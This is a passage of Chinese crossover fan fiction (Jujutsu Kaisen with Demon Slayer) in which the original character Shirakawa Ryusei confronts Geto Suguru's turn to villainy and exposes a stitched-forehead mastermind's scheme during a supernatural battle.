想起去年夏天那个孩子,夜蛾正道叹了口气。 “夜蛾老师,我、我一定……” “伊地知一定会努力的。”白川琉世在伊地知背上大拍一掌,“夜蛾老师,你不要只说话没表示,送他一个打人巨痛的玩偶当保镖好了。” “那是咒骸!” “吼那麽大声干嘛?那你就送他一个咒骸啊!” 第30章 正道少年黑化现场 最终,伊地知还是得到了一个咒骸,这个咒骸跟随了他很多年,直到后来认识到自己实在没有做咒术师的才能,做了辅助监督,咒骸也被好好安置在家里。 每当看到咒骸,他都会想起和白川琉世做同学的那个夏天,很短暂,但也记忆深刻。 伊地知有时会想,五条悟和夏油杰互相认为对方是挚友,到底是因为同级,有很多相处时间,又恰好合得来的缘故,还是因为五条悟是五条悟,夏油杰是夏油杰,他们不管是不是同年,在不在同一个学校读书,只要遇到了就会成为挚友。 就像白川琉世一样,尽管低两个年级,但看起来,和那两个人才是同一个世界的。 不过,伊地知并不了解五条悟和夏油杰,他在整个高专,唯一有朋友感觉的是白川琉世。 “你不是胆子小,伊地知。”他想起同学的话,“完全相反的是,我总觉得你是平时把勇气全部积攒起来,最后在惊人的地方一口气用掉的人,就是相当可靠的感觉!” 如果问白川,他们是不是朋友,白川一定会说是的,但挚友这两个字,总带着不一样的分量,特殊到伊地知绝不会拿这个形容他和白川琉世的关系,也绝不会对任何人说出这两个字。 单方面的挚友,算是挚友吗?伊地知不知道。 …… 祓除咒灵并不是困难的工作,相反,这种事对白川琉世来说,无异于吃饭喝水,是必须要做的日常。 祓除完一级咒灵后,回来的路上,他又祓除了被吸引过来的另一只咒灵。 五条悟发来了短信,说自己已经做完任务了,正在往回赶。白川琉世也汇报了自己的任务进程,反正就是轻轻松松。莫名其妙的,两人开始分享日常,天气、路况、遇到的店铺,以及今天一切顺利,明天的出行应该不会受到影响。 [夏油前辈离开冲绳了吗?]说到这个话题时,白川琉世想起了之前担心的夏油杰。 过了一会,五条悟才回复。 [问过夜蛾老师了,杰今天接了任务,去做任务了。] 得到这个回答时,白川琉世反而松了口气。虽然也想和大家一起玩,但只有明天,想和悟两个人一起。 因为明天是特殊的。 [买到了限定的草莓奶油蛋糕,超——难买到,这次去北海道也不是一无所获(墨镜笑)回去后老子要当饭后甜点享用 图片] 白川琉世点开图片,是块四方的经典白色奶油蛋糕,蛋糕胚夹着红色的草莓果实,装在透明的塑封盒子里,被一只手高高提着。 背景是行人忙碌的街道,没什麽特别的。 白川琉世的视线落在提着蛋糕的手上,只露出了一点点的食指和中指的指尖,因为绑带的压迫充血,显出比粉色更深的颜色。 是非常艳丽的红梅色。 他看了好一会,合上手机向前走,走几步又忍不住点开图片,看着图片的时候,脚步又逐渐停下了。这麽反复,短短一段路,白川琉世走了好久。 直到把手机揣回兜里,才发现还没回复邮件,他手忙脚乱把手机拿出来,删删打打,踌躇了半天,思考的时间越长,越觉得应该回一点更有意思的话,但抱着这样的想法,就更想不出什麽吸引人的话来。 [看起来很诱人。] 他这麽回复。 …… 回到高专后,已经是下午了。白川琉世去校长室交任务,推开门看到夜蛾正道正在打电话。 “……好,琉世正好过来,我问一下他。” 夜蛾没挂手机,电话那头传来微弱的沙沙声。 “琉世,之前你和悟一起做的那个任务,杰遇到了相似的情况。” “也是神社?” “对,本来这个任务是交给你和悟的,不过被总监部调整了一下,交给杰了。” 夜蛾这麽说着,心里总有淡淡的疑惑,说不清道不明。一般来说,总监部的任务下发后,都是由他整理发给学生。原本安排给杰的北海道特级任务,因为杰翘班的原因,由另一个一级术师接手。杰现在在做的任务,本来要安排给悟和琉世。但是,昨天夜里总监部做了紧急调整,最终调整成这个样子。 只是调整任务,又不是紧急下发任务,有必要半夜紧急调整吗?而且,还是把悟和琉世做最合适的任务,调整给杰,根本没必要,而北海道特级任务,是之后再从那个一级术师那儿调整给悟的。 总监部有骚操作不是一天两天了,夜蛾压下疑惑,“我看过你的任务报告,因为村民供奉黄泉津御命,招致咒灵,你和悟祓除咒灵,毁掉神社,任务就完成了。” 白川琉世有点心虚,因为想隐瞒自己黄泉津转世的身份,他的任务报告只是随便糊弄写的,隐藏了自己的“领域”和最上启示的出现。 桧原村本来也该因为神社的原因,吸引、加速生成咒灵,但那些咒灵来一个,最上启示吃一个,把桧原村的咒灵吃得干干净净,最后他们只需要对付某邪灵就好。 看来夏油杰的任务,是村民私祭黄泉津御命的正确发展版本。 “是的,”白川琉世硬着头皮往下说,“祓除咒灵,毁掉神社就好了。” 手机那边夏油杰的声音低沉,带上丝丝电流音,“那,本次的咒灵,是因为村民的愿力产生,还是只是神社的原因?” “是神社的原因,遇到什麽问题了吗,夏油前辈?” 学生少见地打电话过来,夜蛾提起了心,“能行吗,杰?” “没问题。”手机另一端,传来夏油杰轻轻的笑声,“我打来只是确认一下情报,先挂了,夜蛾老师。” 能行吗? 白川琉世的心一紧,漏跳一拍。感觉到某种强烈的,不详的先兆。 “夜蛾老师,夏油前辈的任务地点在哪?” “问这个做什麽?琉世,你不准去!” 白川琉世二话不说,一把抢过办公桌上一叠纸质版的任务下发通知书。 最上面的一张,赫然是夏油杰的。 …… 那是个比桧原村还落后的村子,难以想象现在还有不通电的地方。 白川琉世骑着摩托疾驰几小时,又靠双脚爬上难走的山路。 为什麽会有这种不详的感觉,心脏毫无缘由地狂跳,要相信夏油前辈,然后明天清早,和悟一起前往冲绳,用新的快乐记忆填满那里。 白川琉世早就察觉到了,明天无论说什麽,悟都会答应的。 他已经感觉到了这种默契。 那为什麽他会来到这里,这样的话,应该赶不上去冲绳的计划了吧。 来不及注意别的,脸颊和手背被树枝划出细小的伤口,几乎是爬上来的白川琉世,已经到达了村子的边缘。今晚的村子似乎很热闹,主干道上绑着熊熊燃烧的火把,举目望去却不见一个人影。 空气中有浓重的咒灵臭味,村子里到处都有咒力残秽,但有些可能是夏油前辈的咒灵留下的。白川琉世走过一户户人家门口,仔细辨认空气中气味的来源。 哗啦—— 一声刺耳的巨响。 脑中忽然闪过某天午后的食堂,和夏油杰谈话时的画面。 那双沉郁的眼睛,洇着化不开的痛苦,被平静和微笑包裹着。 白川琉世一个急转身—— 声音是从树林里传来的。 更加巨大的声响传来,远处一阵地动山摇,被咒灵死死缠着的村民,惊恐地望着那个菩萨般的男人忽然化身为面目凶恶的恶鬼。 “你……救……” 急速奔跑的白川琉世呼吸一窒,那个身影—— 日之呼吸一之型圆舞。 一刀把缠杀村民的咒灵斩杀。 白川琉世安静地站在被救下的村民旁,背对着夏油杰,垂着头,不知道在想什麽,日轮刀的刀尖点在地面上,随着手部轻微的晃动,发出短短的摩擦声。 被救下的人和其他几个村民,被变故吓得转身就逃,一时间,这里针落可闻。 什麽啊,撞到了正道天才少年的黑化现场。 白川琉世反手提刀,千钧的握力压在刀柄上,手背青筋暴起。 为什麽来到了这里?哈,可以说是巧合,任务目标与黄泉津御命有关,有他在会进行的更顺利,而且,万一夏油杰遇到意外,因为这次任务殉职,他岂不是要后悔一辈子。 如果不说这种有些牵强的理由,平日里,隐约察觉到夏油杰的崩溃,昨天,对他反常行为的警醒,种种压力也在白川琉世心里不断加码。 人生如果像搞笑漫画那样就好了,每天都开心、阳光,做一些插科打诨的事,生活就会持续快乐下去。而且搞笑漫画并不会死人,这种生活方式,对咒术师这种高危职业来说,是种精神安慰。 打动人心的搞笑漫画,无论平时再怎麽轻浮,都有一条充满份量的主线,人生中不能逃避的种种,全都要一分不落地扛在肩上。 “我来晚了,夏油前辈。咒灵祓除了吗?” 夏油杰愣了一下,发出神经质的笑声,“假装什麽也没看到吗?” “我当然看到了。”黄泉瞳结了层霜,“你还没杀人吧,有回旋的余地不是麽?” “自欺欺人没有任何意义。” “我并不了解你,夏油前辈。但是,你不是会莫名其妙做这种事的人。” 刚才如果他晚到一秒,夏油杰就杀人了。做这行的,或许有杀死诅咒师的可能,有误伤群众的可能,但主观地杀死普通人,就是完全把自己放逐到另一条道路了。 这种可能令他毛骨悚然,或许在别的世界,已经有一个夏油杰杀了村民,就这麽离开了。 “如果有什麽理由,现在说明还不晚。” 夏油杰诧异又轻蔑地看着他,“这是我自己的选择,没什麽苦衷,更没必要向你说明什麽。” 白川琉世闻着空气中格外浓郁的咒灵臭味,抬眼看到不远处的神社,同样的朱红鸟居,阴森本殿,和桧原村那座神社一模一样,这让他泛起无法忽略的责任感。这里到底发生了什麽?刚刚那些村民…… “那些村民?他们做了什麽?” “你比我想的要敏锐多了,白川。”夏油杰心底涌上惊讶与莫名的惋惜,然后,又对自己此时的感受感到荒谬,失控地笑了很长时间。 “是他们想要伤害你吗?” “你知不知道没有任何意义,白川,这种事早晚都会发生,你早就察觉到了不是吗?” 愚昧的村民,竟然把因神社产生的特级咒灵当神明崇拜,说他们蠢,他们还知道那东西吃人,不敢进入神社束缚咒灵的范围内,说他们聪明,他们竟然试图把他这个咒术师骗到神社,当咒灵的祭品。普通人的愚昧、虚伪,不休不止的无意义的恶……,他就是为了这群屡教不改的人工作的吗?想起去年夏天,灰原雄裹尸布下的半截残躯,天内理子轰然倒地的身躯,夏油杰感到无比厌烦,无法忍耐。 “我大概知道这件事你也有隐情。”白川琉世不是傻子,在夏油杰的只言片语里推测出事实可能不是他所看到的那样。 他想说劝阻的话,但似乎一切都晚了。 “你……要动手吗?” “如果你觉得有必要的话。” “离开这里后,你要做什麽?” 夏油杰沉默,对高专后辈留有最后一丝耐心,他说,“还是会杀人。” 白川琉世转过身,“杀普通人吗?” “没错,白川。”语气中的恶意,仿佛嘲笑白川琉世,就算他千里迢迢跑到这里来了,也依然无法改变什麽。 “我记得你之前的话。喂,你不会是要杀光普通人,创建一个只有咒术师的世界吧?” 一阵癫狂的笑声从胸腔迸发而出,夏油杰从未这麽畅快地笑过,笑得眼泪都出来了。 “很难见到你这样的聪明人了,白川,很可惜,如果你是咒术师多好。”【你现在阅读的是 】 30-40 第31章 千年谋划与唯一变量 特级咒术师是什麽水准? 每一个都有单人覆灭一个国家的能力。 夏油杰的恐怖之处,在于有众多可以操纵的咒灵,和恐怖的近战能力。 但特级也不是遥不可及。 白川琉世的自信之处,在于惊人的战斗本能和怪物般的身体素质。 每年三贺日,他和妈妈,还有竈门叔叔他们都会拜访产屋敷家,那几天总是很热闹,可以见到好久不见的大家。 元日晚上,为了表达对大家的感谢,白川琉世会穿上祭服,戴上面具,在点燃火把的庭院跳一整夜火之神神乐舞。 竈门叔叔说,那舞本来是祈求丰年的,反正是吉祥的意思,用来祈求平安应该也可以。 他穿的祭服每年都会换大一号,用来跳舞的剑也变成了日轮刀,祭舞也越来越有观赏美感。产屋敷家是个大家族,每年从天南海北回来过年的子孙辈,和昔日鬼杀队成员的后代们,围绕着产屋敷辉利哉,满满当当坐在宽大的障子门内,欣赏彻夜不歇的神舞。 “我把耳饰也带来了,如果琉世能带上,想必爷爷也会很欣慰。”酒红色头发的竈门先生和善地微笑,拿出一个木盒交给绊子。 “谢谢,是炭治郎先生留下来的耳饰啊,还是留在他的后人家里吧,也是一种纪念呀。”白川绊子有着一头华美的银白色长发,天性潇洒的她,抱着膝盖靠坐在门边,把木盒轻轻还回去。 “琉世不会带的,”她继续说服竈门先生,“现在的男孩子对个人形象的关注点也很奇怪,孩子不在身边长大,我也逐渐不知道他在想什麽了。” 既然如此,竈门先生不再坚持。 他只是看着庭院里少年的舞步出神。 皑皑的积雪被踩化了一圈,马上又有新雪飘摇而至,随着舞步的动作,被气流掀动,旋转飞舞,缓缓落下。 爷爷很年轻就去世了,就连父亲对他也没什麽印象,听说是个很和善的年轻人,“性格和你很像,不,应该说你的性格像你爷爷”,产屋敷辉利哉先生曾经这麽说过。 不仅如此,爷爷还是无名英雄,为此付出了往后几十年的性命。现在这个年代,连他这个孙辈有时也会怀疑,斩鬼的传说到底是不是真的? 直到火之神神乐再被舞起。 …… 白川琉世可以舞整整一夜,是因为一夜只有十个小时,而不是他只能坚持十个小时。 两个人很默契地一起动手。村子外没有放帐,形态各异的咒灵,带着尖刻的恶意和嘶鸣声,把白川琉世团团围住,体型大的,庞大的身躯仿佛能将整个村庄吞噬。 夏油杰放出的咒灵数目超出意料。 “真的要这麽做?你有多少咒灵,几百个?上千个?还是一万个?不管多少我都能杀光。” 一柄耀眼的赫刀刺开体型最大的咒灵,像刺穿了乌云的口子,露出一片凄白的月亮。 “既然觉得可以,那就试试看吧!” 没打算小看这个后辈,夏油杰尽情地操纵着咒灵,打算为自己作为咒术师的身份演绎一个完美谢幕。 日之呼吸·六之型·灼骨炎阳。 日之呼吸·十一之型—— 日晕之龙·头舞! 赫刀不停地斩击,速度极快,不管是三级、二级还是一级咒灵,只用一击就能祓除。眼看充数的咒灵起不到任何作用,夏油杰操纵起刚刚收伏的特级咒灵。 由黄泉津御命的神社加持,比寻常特级还要强一个层次的咒灵! 也是他所操纵的所有咒灵里最强的。 咒灵体格有房子大小,灰紫色的皮肤,胀大的身材,光滑的面部和头顶长着大大小小的疣,只能说初具人形。 他一抬手,向白川琉世拍去,力大砖飞,把地面拍出一个手掌印。 轰—— 这麽大的动静,村子里的人早就察觉到了,他们躲在房子里瑟瑟发抖,偶尔有人提议报警,却被人唾骂,“那有什麽用?到时候惹怒了那种人,我们都会被杀死!” 战场中心500米外,夏油杰的辅助监督三井正悄悄后退着。 他抓着手机,狭长的眼睛向远处扫视着,不断衡量着战况。 安排给夏油杰独自完成的任务,不知为何又来了另一个术师。同时,明明已经祓除了的任务目标,却被夏油杰再次放出来,攻击白川琉世。 打起来了?这样可不行啊。不,不如是说—— 翻开手机盖,手机的亮光照在了他黑色软毡帽的帽檐上。 [发送至小林课长: 课长,夏油术师完成任务后,对另一名术师发动攻击,原因未知。目前已经放出了超过百只咒灵,惊动了附近的村民。] 然后,他拍了两张照片发给小林。 照片不能显示咒灵,但飞在天上的夏油杰和提刀砍得起劲的白川琉世,明显在交战中。 那边小林马上回了邮件。 [夏油杰攻击术师?你确定没看错吗?] [确定,我就在附近,他想杀了另一个术师,是同为高专学生的白川琉世。] [他放出的咒灵攻击普通人了吗?三井,你方便接电话吗?] [不方便课长,接电话或许我会有危险。] [我马上报告总务大人,你先等等。] 三井皱眉,这个小林在危急关头竟然没一点责任心,只想着推卸责任。 总务的尸体可是还在他衣柜里放着呢。 [课长,现在情况太危急了,对手毕竟是特级咒术师,还是尽快派人来展开支持吧!如果夏油杰杀掉白川琉世后,对普通人下手,那麽后果不堪设想。] 他耐着性子一顿劝诫,小林总算松口说派几名没有任务的术师过来。 三井合上手机,眼神追随搏杀咒灵的白川琉世。 几名术师 根本拦不了夏油杰,但来了就来了,要麽被夏油杰杀死,变成他踏入诅咒师的敲门砖,要麽夏油碍于自己的偏好,无法下手杀死几名咒术师,那麽白川琉世的生命危险也会大幅下降。 他像打GalGame一样,通过完美选项,把控夏油杰的思想,在临门一脚将人投入设置好的完美副本,只要夏油经身一过,就会迎来happy ending——堕落成诅咒师。 偏偏白川琉世忽然跑来。 啧。 远处的少年正用淩厉的剑技,祓除了夏油杰的最强咒灵。 一往无前的气势,令三井感到相当可惜。 如果白川琉世下得去手,或许真的可以杀死夏油杰,对他来说倒是最恰当的时候,反正他想要的只是夏油杰的身体。 但他不愿意冒这个险。 宿傩容器的出生和咒灵操术的出现,去年天元的同化失败和狱门疆的得手,以及黄泉津御命的再度转世,各种因素在这个时代同时出现,给予他一个千载难逢的契机。 …… 白川琉世咽了一下,还是呕出一口血来。 夏油杰对呼吸法有基本的了解,有机会只往他的肺部攻击,挨了几下,呼吸已经有血的味道了。 依旧紧握着刀,两人的位置变换间,白川琉世能看到夏油杰脖子上延伸出来的那道“线”。那是依据这一刻的形势和两人的状态,本能计算出的“斩杀线”。 趁着呼吸完全乱掉之前,他扬起日轮刀,用刀背轻轻一划—— “嘶。”夏油杰倚在树上,捂着侧颈,虽然对方没太用力,但他那怪力后辈的一击还是疼得让人疑心脑袋被砍掉了。 都是什麽刁钻的刀法,全都往人脖子上招呼。 “我不久前刚和九十九由基谈过。” 刀松松垮垮垂着,随着白川琉世忽然的开口,那是一个中场休息的信号。 胜负已分,再打下去也没有意义。 “九十九确实给过我启发,不过,太保守了,也无法贯彻自己的理念。” “说起做研究,感觉也没有拼尽全力,像半个街溜子那样活着。”白川琉世掩饰地大笑几声,“好像在背后说人坏话啊。不过,那天我们的谈话还是很愉快的,夏油,与其让这个世界的所有人都无咒力或者有咒力,为什麽不找个折中的办法呢?这点我已经有头绪了,不用改变现在拥有的普通人和咒术师格局,也能大幅度降低咒术师的危险。” 他想说你那个想法未免太极端了,但又怕刺激到好不容易平静一点的夏油杰,硬生生把话咽了下去。 “没什麽好说的,白川。你所说的,都有意义。” 白川琉世的反应,会说的话,他早就预料到了,换个人也是如此,悟,硝子,夜蛾——“为什麽这麽做?”“这太极端了。”“不要想这麽多事。”“我们一起想别的办法。” 他们否定的,与他在意的,根本不是一种东西。 与白川的谈话,和之前那次一样,令人心生厌烦。夏油杰打算离开,如果对方妄加阻挠,那就真的下手杀了他。 “这次打算动真格的了?” 白川琉世敏锐地察觉到这点,黄泉瞳死死盯着夏油杰,但对方只是错开他的视线。 “是啊。” “拖了这麽久,你对我还真是意外的情深义重。”白川琉世把刀缓缓插回鞘中,“动手吧。” 白川堪称无赖的做法,自以为是的对他打感情牌,使夏油杰更加恼火。 没有丝毫犹豫,他掏出匕首—— 出于对后辈死法的最后一点尊重,他没有选择用咒灵结束对方的生命。 远处,那个碍事的辅助监督也跑了过来。 第32章 再见啦,黄泉津御命 领域?不是…… 夏油杰前面横了一条河流,并不宽阔,却十分绵长,一眼望不到头。他所站的岸边,长满了血红色的花朵,随风摇曳。但皮肤却感觉不到风的吹拂,他像个破了底的瓶子一样,被风穿过灵魂。 河中央立着非常高大的黑色神龛,白川琉世站在上面,日轮刀抱在胸前,面无表情地看着他。 黄泉瞳流淌着暗金色的辉光。 “把这里当成我的领域就可以。”他细微地体察着夏油杰的感情。 黄泉津比良坂的边界不知道在哪,不过,白川琉世收束空间时,意外把赶过来的辅助监督也关在里面了。 三井正缩在夏油杰对面的岸边,低着头,抱着手臂,一副瑟瑟发抖人畜无害的样子。 “没有咒力的流动。”夏油杰冷静地戳穿他的话。 “所以说当成。” “出于保险,把我关着?”夏油杰肩膀耸动,控制不住地笑了起来,“你还真是幼稚。” “不会,这东西我还没掌握好,可能维持不了多久。不过,也足够了。”他与夏油杰遥遥对视,“夏油,现在的你,是什麽感觉呢?我只想知道这个。” “不叫前辈了?” “你会回到高专继续上学吗?” “不会。” “那我干嘛叫一个刚刚还想杀了我的社会闲散人士前辈。” 夏油杰看着白川琉世身边浮空着的黑色锁链,像有生命一样,在空中游走,护卫着白川琉世身旁的处处死角。 在这个奇怪的领域里,他的咒灵操术也无法使用了。 “其实你的咒灵操术可以使用,但这个空间完全属于我,我排斥了它们的存在。” 那种感觉,是不是和夜蛾老师说的“结界术”差不多?能自由地把空间里的东西束缚在原处,或者排斥出去。上次展开黄泉津比良坂时,他还没有掌握这种能力。 而且,白川琉世觉得,这种类似于“结界术”的能力,未来应该还能操作地更精细,只是目前他做不到。 “你知道我在想什麽?”夏油杰警惕地看过去,不过,总觉得白川的眼睛很邪乎,他只是盯着对方的下巴。 “那倒不至于,你想什麽我还不知道。”白川琉世马上反驳,“我猜的。” 一种毛骨悚然的感觉,细密地爬满夏油杰的脊背,那家夥洞悉人心的才能,比他以为的还要恐怖。不过,被这里的风不断吹过,他的情绪莫名其妙减轻了很多。 那些疯狂的思绪,被什麽东西牢固地与外界隔开了,仿佛大夏天拿着冰镇可乐贴到脑门上,脑子瞬间清醒的吓人。 冷静很多的夏油杰无奈地笑着,“白川,这样是没有用的,除非你现在就杀了我。我……,并不是一时兴起。” “我知道,这世界上什麽都不会有绝路,但人的感情会。”白川琉世垂下眼,“我以百分百的感同身受为筹码,希望你最后一次考虑下。不过,在你回答之前,我要先做一件事。” 白川琉世周身的锁链四散开来。 百分百的感同身受?夏油杰有些想笑,他警惕地盯着四散的锁链,匕首横于胸前。 那些黑色的锁链却径直向另一个方向去了。 把误入其中的辅助监督三井死死捆住! 夏油杰:! “哈,一直没说,在这个空间里,我能感受到所有人的情绪。” 白川琉世跳下神龛。 “从进来开始,你的情绪就好奇怪,辅助监督先生。” 锁链把三井的帽子打掉,赫然露出额头上一道明显的缝合线。 “一个辅助监督,为什麽会有这麽大的恶意?” 他站在三井面前,捡起落在血红花朵上的黑色毡帽,“大夏天还奇怪地戴着帽子。” 三井瞳孔一缩—— 怎麽会在这种时候出现意外! 他做了最完美的计划,选择术式特殊的三井,作为“夏油杰崩溃计划”谢幕的见证者。 三井的□□拥有超远距离发送的术式。如果夏油杰要对他动手,发动三井的术式逃走,自然是人之常情。 前提是这里只有夏油杰! 忽然闯入其中的黄泉津转世,已经初步觉醒,还用领域把他一起圈进来了。这还不算,他的领域竟然有那种效果! 他怎麽从来没听说过—— 三井在慌乱中准备发动术式准备逃走。 “都说了,我能把你束缚在这个空间。”感觉到面前人的惊慌与不可置信,白川琉世心情超好,“你到底想做什麽,缝合线?” 什麽叫踏破铁鞋无觅处,得来全不费工夫。怎麽找缝合线的线索都找不到,谁知道他能自己撞进来。 刚刚可是忍了半天才让自己不要太激动。 三井无法逃脱之下,反而一副完全放开的样子,只是鬓角隐隐渗出的汗珠暴露了他的紧张。 “哟,真的小看你了,黄泉津。” 看着眼前人露出完全不属于三井的夸张笑脸,夏油杰皱眉,他竟然完全没发现辅助监督的异常。 “禅院家那个人也是你?”还有那个创建神社的缝合线女人,白川琉世并不认为他们只是每个人头上都有缝合线的组织,那更像是某种寄生或者操控的标志,“你有什麽目的?” 从他小时候就开始布局,莫名其妙弄出神社事件,现在又出现在这里。那个缝合线,真的是人吗?是有神志的咒灵,还是术式特殊的诅咒师?是亲自占据别人的□□,还是遥控的?在黄泉津比良坂还可以束缚他,但出去之后,这家夥一定会跑掉。 “我的目的,嘛……,现在还不能告诉你。”三井的身体被黑色锁链绞成了麻花,尚且不明确黄泉津的领域是只会感知情绪,还是真的会读心,他放空自己的大脑,让那些在脑子里肆意横流的念头平静下来。 第一步:得知咒灵操术出生,查找机会,创造宿傩的容器。 千年的磨砺,使他的心理素质相当强大,在危急关头也能冷静,并且控制大脑的想法。 第二步:查找狱门疆,为封印六眼做准备。 三井审慎地观察着白川琉世的表情,没有发现丝毫不对。 第三步:杀死星浆体,使天元同化失败。 白川琉世肉眼可见的不耐烦了。 果然听不到他的心音。现阶段,比起“生命危险”,计划是否会暴露才是三井所担心的,必须慎之又慎。 “所以你到底在窃喜什麽啊。”白川琉世迟疑了一下,眼前这个缝合线一边恐惧一边窃喜,和分裂了一样,肯定是有什麽惊天动地的阴谋吧。 “与其说目的,不如说你只是我目的的一部分,黄泉津。” 等待天元同化失败,逐渐向咒灵方向进化,得到咒灵操术的身体,封印六眼,控制咒灵化的天元,然后就是—— “可惜的是,失去了你,也并不影响计划的完整性。” 利用天元,开启死灭回游,激活投入的受肉型泳者,并且,让黄泉津无穷无尽的咒力,极快地填满死灭回游的结界! 届时,笼罩全日本结界的能量很快就会充满,普通人会在源源不断咒力的灌注下,进化或者死亡,进化不可控的天元,将变成容器与粘合剂,与整座岛上的一亿人同化! 不管是咒术师,普通人还是咒灵,都将成为咒力最终形态的养料,之后,人类会完全以另一种模样存活下去也未可知,就算无法亲眼看到这点,但点燃前往新世界的引擎,单单这点就令他兴奋地颤抖。 在这个时代,种种巧合令他有了十足的信心,就算黄泉津这环出现了变故——那麽刨除掉也无所谓。按照原本的计划,死灭回游的泳者游戏,也能代替黄泉津的作用,只是效率会变得相当慢。 在平安京时代名声如雷贯耳的黄泉津,他也有幸远远见过一次,因此,在禅院家看到白川琉世的第一眼,就认出了那双特殊的黄泉瞳。 白川小时候,完全没有体现出拥有千年前“无穷无尽的咒力”的潜力。不过,从那个年代活到现在,他知道神明转世时,为了更好地适应人类世界,为自己所下了种种束缚。 那种束缚迟早要随着白川的成长被冲破,神明毕竟是神明。 力量如果太早觉醒,就于他的计划无益了。于是,他把黄泉津当做一个增益大礼包,用“禅院隆”的身份,在白川琉世身上刻下了双重诅咒。 第一道,持续地加强黄泉津的封印。因为黄泉津能力的觉醒与“体悟”有关,封印干脆毁掉了他之前的记忆。 第二道,无穷无尽地提取黄泉津的咒力,算作加速天元与一亿人融合的催化剂。 蛊惑几个村子创建神社,通过总监部下发的任务,用来测试黄泉津的觉醒程度,并随时掌控。 如果黄泉津在第一道诅咒的压制下,依旧能觉醒得不错,那麽控制天元后,他先解开第二道诅咒,再解开第一道,就能完美启动催化剂。 上次是五条悟比较敏锐,在他利用职权把白川琉世也加入桧原村的任务之前,就提出要和白川一起出任务,正好省了他的事。然而,这次并不是白川的测试场所,而是他为夏油杰打造的精神刑场。 意外让他不得不舍弃黄泉津这步好用的棋子。 “再见啦。”三井扯开笑容,被锁链紧紧勒着的手,艰难地翘起,拇指食指指尖合拢,轻轻一拉,“黄泉津御命。” 那两道诅咒,准备工作要做很多,但是触发却很容易。 已经完全防备着的白川琉世,早就察觉到对方有什麽底牌,但是—— “三井的术式是超远距离发送。” 河对面的夏油杰讽刺一笑,他又在滥发好心多嘴些什麽。 很快,夏油杰就发现了不对劲。 挺拔的少年,紧握着刀的手颤抖了起来,背部像马上要折断般用力绷紧。 三井在空气中拉断的姿势,好像拉断了他大脑里的一根弦,弦断了,身体里并不多的咒力丧失了控制力,源源不断地逸散到空气中去,那些稀薄的咒力马上就消耗的一干二净。 然后就是源自于每一个细胞中的活力。 咒力、生命力,乃至于意识,在短短几秒钟被疯狂地吸取出来,白川琉世双手颤抖,第一次觉得拿着的日轮刀这麽重。 是小时候缝合线对他做手脚的那次吗?明明黄泉津比良坂里,每一缕风都仿佛手臂一样控制自如,但此时他却控制不了自己的身体。 那麽他是,带着这种致命的危险,什麽也不知道地生活了十年啊。 束缚三井的锁链早就自行消散了,白川琉世似乎听到他在笑,而夏油杰似乎也叫了一声他的名字。 领域摇摇欲坠,白川琉世忽然有点想笑,尽管夏油杰不认为他是咒术师,但他也理解了那句“咒术师的尽头是独自一人死亡”。 “死之前告诉你好了,我在你身体里刻下两个诅咒,一个的作用的抑制能力的觉醒,另一个,就是源源不断地吸取你的咒力,直到死亡。” 脑海中快速翻过,却也总是抓不住的记忆,定格在一个画面上。 额头上有缝合线的中年人“禅院隆”,五指张开向他伸去,黑暗屏蔽了他的视线。 双眼快要看不清东西了,一切能证明他“活着”的感觉全都像漏斗中的沙一样簌簌下落。 右手用力一握,手背青筋暴起。 他也不是什麽坐以待毙的羔羊啊。 那麽。 “都到了这种时候了,就带走你吧!” 第33章 斑纹、通透世界和反转术式 雪亮的刀刃,瞬间染上灼目的红,金色的射线纹路被赫色包裹。 滚烫的蒸汽从唇角呼出,白川琉世闭上眼睛,眼前的一切却如透明般呈现在他面前。 领域在死之前,一定要维持下去,那是抓住敌人的笼子。 三井的全身,各个器官,心脏的鼓动,肺部的收缩,血液的奔流,全都毫无屏蔽地暴露在视线里。 那具身体,与所有人都不一样的,是……大脑! 体温达到39℃以上,心跳频率达到每分钟200次以上,这是鬼杀队后人耳提面命,要求他除非面对生命危险,无论如何都不能同时达成的条件。 但是现在无所谓了。 平时惯常瞄准脖子的刀刃,这次准确地瞄准大脑。 赫刀挥出,一片赤芒流金。 这将是他此生最锋利的一击! 夏油杰死死盯着两人,仅仅一个拔刀的姿势,白川琉世侧了一下脸,再看到时,脸上赫然出现了两道金色的斑纹。 两道斑纹出现在眼睛下方,在快到眼尾处的地方开始,深深划进黑发里。 领域消散的同时,刀刃也击中了三井的脑子! 那一刀的光芒深深印在了夏油杰眼里。没有人能从那一刀中活下来,除非是拥有无下限的悟。 夏油杰如此相信着。 静静流淌的河水消弭于山间的虫鸣,高悬的冥界之月被人间的风吹散,黑色的冥土被长着小草的踏实黄土代替,黄泉津比良坂的残响是最后一道清脆的鸣戈。 三井的尸身破布一样倒伏在地,与此同时,那挥出惊天一刀的高大身躯,如古代战死犹荣的武士一样,僵立在原处,几秒后,轰然倒地。 夏油杰第一时间召唤出咒灵,翻过三井的尸体。那位曾经的辅助监督,脑袋被齐齐削去一半,鲜血汩汩流入泥土,但想像中脑浆横飞的场景却没看到。 脑子……消失了? 夏油杰马上敏锐地察觉到了什麽。 刚才两人的只言片语,已经足够夏油杰推测出更多信息了。 他站在白川琉世旁边,注视着他,上次见面时还对他热情打招呼的后辈,此时毫无生气的躺在地上,脸色苍白,呼吸随时都能停止。 他并不是一定要在现在杀了白川,却也映射该做什麽感到迷茫。 后辈的身体抽动了一下。白川琉世右手抓着刀柄,左手死死抓着刀鞘,面无表情的样子,显得庄重肃穆,让人觉得这人从没笑过,让总是面对后辈笑脸的夏油杰感到陌生。 “白川。” 是谁的声音,夏油?白川琉世感觉,到了最后,诅咒开始吸取自己的灵魂,灵魂像蒲公英一样洋洋洒洒吹散到世界各个角落。 这种死法,普普通通吧,既不壮烈,也不憋屈,就是忽然了点,荒谬了点,明明已经触摸到阴谋的外壳,结果莫名其妙死在了疑惑里,白白给大家留下了隐患。 …… 别开玩笑了。 谁要认真评判自己的死法啊。 简直莫名其妙。 这不是还没死吗?连走马灯都没出现。白川琉世尽力抬着自己的手指,身体很重,已经完全失去掌控能力了,大脑也昏昏沉沉的,马上就要失去意识了吧。 夏油的事,已经尽力了。白川琉世想起和悟在便利店的聊天,尽力而为,不去苛责自己的无能和软弱。但是,莫名其妙就想起很久之前,还是孩子时和竈门炭彦的聊天。 “琉世,我们都会跳火之神神乐,为什麽我学不会日之呼吸呢?” 他当时是怎麽说的来着。 “你没有一定要学会的必要啊。” …… 如果没有必须要做到的必要,那就什麽事也做不到。 …… 不去苛责自己的无能和软弱,那就只能接受无能和软弱带来的痛苦,这麽吊儿郎当地活了十六年,不管怎麽磨炼技艺,有这半吊子的想法,还能算得上是强者吗?! …… [我想要做到,那就能做到,难道我不是神吗?] …… 